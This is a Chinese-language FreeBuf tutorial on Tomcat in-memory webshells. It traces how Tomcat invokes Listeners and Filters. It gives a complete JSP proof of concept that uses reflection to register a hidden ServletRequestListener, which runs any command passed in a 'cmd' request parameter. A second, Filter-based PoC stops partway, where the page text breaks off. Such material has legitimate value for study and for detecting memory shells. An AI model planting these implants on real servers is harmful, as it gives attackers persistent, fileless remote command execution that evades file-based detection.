freeBuf
从小白到大神 | 一篇文章带你了解内存马(附PoC)
2023-09-23 11:15:14

基础概念

内存与硬盘

在程序运行时,硬盘和内存扮演着不同的角色:

  1. 硬盘用于存储程序的可执行文件、库文件、配置文件和其他必要的数据文件。当程序首次运行或在需要时,这些文件从硬盘加载到内存中。

  2. 内存用于存储程序的指令和数据,包括代码、变量、对象、堆栈等。当程序需要执行特定的指令或访问特定的数据时,CPU从内存中读取这些内容进行处理。

因为内存的成本是很高的,所以内存的容量通常比硬盘小得多,但读取和写入速度更快.所以在运行程序将他放入内存,平时放在硬盘来节约内存空间.

安全问题-内存马

普通的木马是写入一个文件去访问,恶意代码是依靠于文件的.执行后就会在内存中被释放掉.但是内存马是依赖于程序本身的动态注册,会在内存中进行一个保存,视为程序的一部分.实现脱离文件后依旧可以运行.

Tomcat内存马

此文章默认你已经了解javaweb

对于Tomcat内存马,我们首先要知道Java会将JSP文件翻译成一个Servlet的文件的.同时你会发现JSP是热部署的.即可以不停止整个java服务来添加新的Jsp页面.这对与Java-web开发来说是极为方便的,但是方便就容易带来安全的问题.结合Servlet3支持动态注册,我们就可以构造各种Web组件内存马.

Listener内存马

ServletRequestListener

调用链

我们直接通过书写一个Listener,然后进行调试即可发现调用链为

requestInitialized:13, Shell_Listener (Listener)
fireRequestInitEvent:5992, StandardContext (org.apache.catalina.core)
invoke:121, StandardHostValve (org.apache.catalina.core)
invoke:92, ErrorReportValve (org.apache.catalina.valves)
invoke:687, AbstractAccessLogValve (org.apache.catalina.valves)
invoke:78, StandardEngineValve (org.apache.catalina.core)
service:357, CoyoteAdapter (org.apache.catalina.connector)
service:382, Http11Processor (org.apache.coyote.http11)
process:65, AbstractProcessorLight (org.apache.coyote)
process:895, AbstractProtocol$ConnectionHandler (org.apache.coyote)
doRun:1722, NioEndpoint$SocketProcessor (org.apache.tomcat.util.net)
run:49, SocketProcessorBase (org.apache.tomcat.util.net)
runWorker:1191, ThreadPoolExecutor (org.apache.tomcat.util.threads)
run:659, ThreadPoolExecutor$Worker (org.apache.tomcat.util.threads)
run:61, TaskThread$WrappingRunnable (org.apache.tomcat.util.threads)
run:748, Thread (java.lang)

我们的代码逻辑是记录在requestInitialized方法中的,那么我们就寻找是怎么调用的requestInitialized方法

StandardContext

public boolean fireRequestInitEvent(ServletRequest request) {
        Object[] instances = this.getApplicationEventListeners();
        if (instances != null && instances.length > 0) {
            ServletRequestEvent event = new ServletRequestEvent(this.getServletContext(), request);
            Object[] var4 = instances;
            int var5 = instances.length;

            for(int var6 = 0; var6 < var5; ++var6) {
                Object instance = var4[var6];
                if (instance != null && instance instanceof ServletRequestListener) {
                    ServletRequestListener listener = (ServletRequestListener)instance;

                    try {
                        listener.requestInitialized(event);
                    } catch (Throwable var10) {
                        ExceptionUtils.handleThrowable(var10);
                        this.getLogger().error(sm.getString("standardContext.requestListener.requestInit", new Object[]{instance.getClass().getName()}), var10);
                        request.setAttribute("jakarta.servlet.error.exception", var10);
                        return false;
                    }
                }
            }
        }

        return true;
    }

我们可以看到是通过listener.requestInitialized这里进行的一个调用.而这个listener.是通过getApplicationEventListeners()获取的

public Object[] getApplicationEventListeners() {
        return this.applicationEventListenersList.toArray();
    }

那么关键就是这个applicationEventListenersList的内容了.

public void addApplicationEventListener(Object listener) {
        this.applicationEventListenersList.add(listener);
    }

并且StandardContext类中提供了这么一个方法给我们添加.那么StandardContext类我们如何获取勒,查看调用链子简单寻找了下,StandardHostValve类中存在对StandardContext的获取.

public final void invoke(Request request, Response response)
        throws IOException, ServletException {

        // Select the Context to be used for this Request
        Context context = request.getContext();

那么我们就要获取request类了,在JSP中是自带有RequestFacade类的.我们要获取的是Request类,所以我们直接通过反射来进行获取.

public RequestFacade(Request request) {
        this.request = request;
    }

其中的this.request被传入了Request类,也就是StandardHostValve类中的request.然后写入我们的Listener就可以了.

思路总结

Listener是会检测任何数据的变化的,对于ServletRequestListener对象,对于每一个会话连接都要进行一个检测.那么就一定存在一个全局的存储位置.然后通过反射对这个变量进行更改即可实现Listener的建立.这里即为StandardContext.applicationEventListenersList

POC

<%@ page contentType="text/html;charset=UTF-8" language="java" %>
<%@ page import="java.lang.reflect.Field" %>
<%@ page import="java.io.IOException" %>
<%@ page import="org.apache.catalina.core.StandardContext" %>
<%@ page import="org.apache.catalina.connector.Request" %>
 
<%!
    public class Shell_Listener implements ServletRequestListener {
 
        public void requestInitialized(ServletRequestEvent sre) {
            HttpServletRequest request = (HttpServletRequest) sre.getServletRequest();
           String cmd = request.getParameter("cmd");
           if (cmd != null) {
               try {
                   Runtime.getRuntime().exec(cmd);
               } catch (IOException e) {
                   e.printStackTrace();
               } catch (NullPointerException n) {
                   n.printStackTrace();
               }
            }
        }
 
        public void requestDestroyed(ServletRequestEvent sre) {
        }
    }
%>
<%
    Field reqF = request.getClass().getDeclaredField("request");
    reqF.setAccessible(true);
    Request req = (Request) reqF.get(request);
    StandardContext context = (StandardContext) req.getContext();
 
    Shell_Listener shell_Listener = new Shell_Listener();
    context.addApplicationEventListener(shell_Listener);
%>

Filter类型的创建

调用链

doFilter:11, Shell_Filter (Filter)
internalDoFilter:189, ApplicationFilterChain (org.apache.catalina.core)
doFilter:162, ApplicationFilterChain (org.apache.catalina.core)
invoke:197, StandardWrapperValve (org.apache.catalina.core)
invoke:97, StandardContextValve (org.apache.catalina.core)
invoke:540, AuthenticatorBase (org.apache.catalina.authenticator)
invoke:135, StandardHostValve (org.apache.catalina.core)
invoke:92, ErrorReportValve (org.apache.catalina.valves)
invoke:687, AbstractAccessLogValve (org.apache.catalina.valves)
invoke:78, StandardEngineValve (org.apache.catalina.core)
service:357, CoyoteAdapter (org.apache.catalina.connector)
service:382, Http11Processor (org.apache.coyote.http11)
process:65, AbstractProcessorLight (org.apache.coyote)
process:895, AbstractProtocol$ConnectionHandler (org.apache.coyote)
doRun:1722, NioEndpoint$SocketProcessor (org.apache.tomcat.util.net)
run:49, SocketProcessorBase (org.apache.tomcat.util.net)
runWorker:1191, ThreadPoolExecutor (org.apache.tomcat.util.threads)
run:659, ThreadPoolExecutor$Worker (org.apache.tomcat.util.threads)
run:61, TaskThread$WrappingRunnable (org.apache.tomcat.util.threads)
run:748, Thread (java.lang)

internalDoFilter:189, ApplicationFilterChain

private void internalDoFilter(ServletRequest request,
                                  ServletResponse response)
        throws IOException, ServletException {

        // Call the next filter if there is one
        if (pos < n) {
            ApplicationFilterConfig filterConfig = filters[pos++];
            try {
                Filter filter = filterConfig.getFilter();

                if (request.isAsyncSupported() && "false".equalsIgnoreCase(
                        filterConfig.getFilterDef().getAsyncSupported())) {
                    request.setAttribute(Globals.ASYNC_SUPPORTED_ATTR, Boolean.FALSE);
                }
                if( Globals.IS_SECURITY_ENABLED ) {
                    final ServletRequest req = request;
                    final ServletResponse res = response;
                    Principal principal =
                        ((HttpServletRequest) req).getUserPrincipal();

                    Object[] args = new Object[]{req, res, this};
                    SecurityUtil.doAsPrivilege ("doFilter", filter, classType, args, principal);
                } else {
                    filter.doFilter(request, response, this);
                }

这里可以看出我们的Filter是由filters属性来进行存储的.那么我们寻找一下是如何进行初始化的.

invoke:197, StandardWrapperValve 中使用了ApplicationFilterFactory.createFilterChain来新建一个ApplicationFilterChain类.

ApplicationFilterChain filterChain =
                ApplicationFilterFactory.createFilterChain(request, wrapper, servlet);

我们可以看到其中是通过读取StandardContext的属性来进行构建ApplicationFilterChain类的.

public static ApplicationFilterChain createFilterChain(ServletRequest request,
            Wrapper wrapper, Servlet servlet) {
 
        ...
        // Request dispatcher in use
        filterChain = new ApplicationFilterChain();
 
        filterChain.setServlet(servlet);
        filterChain.setServletSupportsAsync(wrapper.isAsyncSupported());
 
        // Acquire the filter mappings for this Context
        StandardContext context = (StandardContext) wrapper.getParent();
        FilterMap filterMaps[] = context.findFilterMaps();
 
        ...
 
        String servletName = wrapper.getName();
 
        // Add the relevant path-mapped filters to this filter chain
        for (FilterMap filterMap : filterMaps) {

            ...
            ApplicationFilterConfig filterConfig = (ApplicationFilterConfig)
                    context.findFilterConfig(filterMap.getFilterName());
            ...
 
            filterChain.addFilter(filterConfig);
        }
 
        ...
 
        // Return the completed filter chain
        return filterChain;
    }
public FilterConfig findFilterConfig(String name) {
        return filterConfigs.get(name);
    }

所以我们即对StandardContext的属性filterConfigs和filterMap进行设置即可.我们来查看是否有对应的属性设置的方法.

创建filterMap

@Override
    public void addFilterMap(FilterMap filterMap) {
        validateFilterMap(filterMap);
        // Add this filter mapping to our registered set
        filterMaps.add(filterMap);
        fireContainerEvent("addFilterMap", filterMap);
    }
FilterMap filterMap = new FilterMap();
filterMap.addURLPattern("/*");
filterMap.setFilterName(name);
filterMap.setDispatcher(DispatcherType.REQUEST.name());
standardContext.addFilterMapBefore(filterMap);

创建filterConfigs

private Map<String, ApplicationFilterConfig> filterConfigs = new HashMap<>();

filterConfigs本质是个Map,看看它是如何被赋值

synchronized (filterConfigs) {
            filterConfigs.clear();
            for (Entry<String,FilterDef> entry : filterDefs.entrySet()) {
                String name = entry.getKey();
                if (getLogger().isDebugEnabled()) {
                    getLogger().debug(" Starting filter '" + name + "'");
                }
                try {
                    ApplicationFilterConfig filterConfig =
                            new ApplicationFilterConfig(this, entry.getValue());
                    filterConfigs.put(name, filterConfig);

那么我们就要对filterDefs进行一个赋值.

filterDef

@Override
    public void addFilterDef(FilterDef filterDef) {

        synchronized (filterDefs) {
            filterDefs.put(filterDef.getFilterName(), filterDef);
        }
        fireContainerEvent("addFilterDef", filterDef);

    }
//filter名称
String name = "CommonFilter";
FilterDef filterDef = new FilterDef();
filterDef.setFilter(filter);
filterDef.setFilterName(name);
filterDef.setFilterClass(filter.getClass().getName());
standardContext.addFilterDef(filterDef);

然后再对filterConfigs进行一个赋值

Field Configs = standardContext.getClass().getDeclaredField("filterConfigs");
Configs.setAccessible(true);
Map filterConfigs = (Map) Configs.get(standardContext);

Constructor constructor = ApplicationFilterConfig.class.getDeclaredConstructor(Context.class,FilterDef.class);
constructor.setAccessible(true);
ApplicationFilterConfig filterConfig = (ApplicationFilterConfig) constructor.newInstance(standardContext,filterDef);
filterConfigs.put(name, filterConfig);

思路总结

  • 获取StandardContext对象

  • 设置StandardContext中的FilterMaps对象

  • 设置filterDefs对象,和然后组装进filterConfig,然后将filterConfig写入filterConfigs中

POC

<%@ page import="java.io.IOException" %>
<%@ page import="java.lang.reflect.Field" %>
<%@ page import="org.apache.catalina.core.ApplicationContext" %>
<%@ page import="org.apache.catalina.core.StandardContext" %>
<%@ page import="org.apache.tomcat.util.descriptor.web.FilterDef" %>
<%@ page import="org.apache.tomcat.util.descriptor.web.FilterMap" %>
<%@ page import="java.lang.reflect.Constructor" %>
<%@ page import="org.apache.catalina.core.ApplicationFilterConfig" %>
<%@ page import="org.apache.catalina.Context" %>
<%@ page import="java.util.Map" %>
<%@ page contentType="text/html;charset=UTF-8" language="java" %>
 
 
<%
    ServletContext servletContext = request.getSession().getServletContext();
    Field appContextField = servletContext.getClass().getDeclaredField("context");
    appContextField.setAccessible(true);
    ApplicationContext applicationContext = (ApplicationContext) appContextField.get(servletContext);
    Field standardContextField = applicationContext.getClass().getDeclaredField("context");
    standardCo
本文为 独立观点,未经允许不得转载,授权请联系FreeBuf客服小蜜蜂,微信:freebee2022
被以下专辑收录,发现更多精彩内容
+ 收入我的专辑
+ 加入我的收藏
文章目录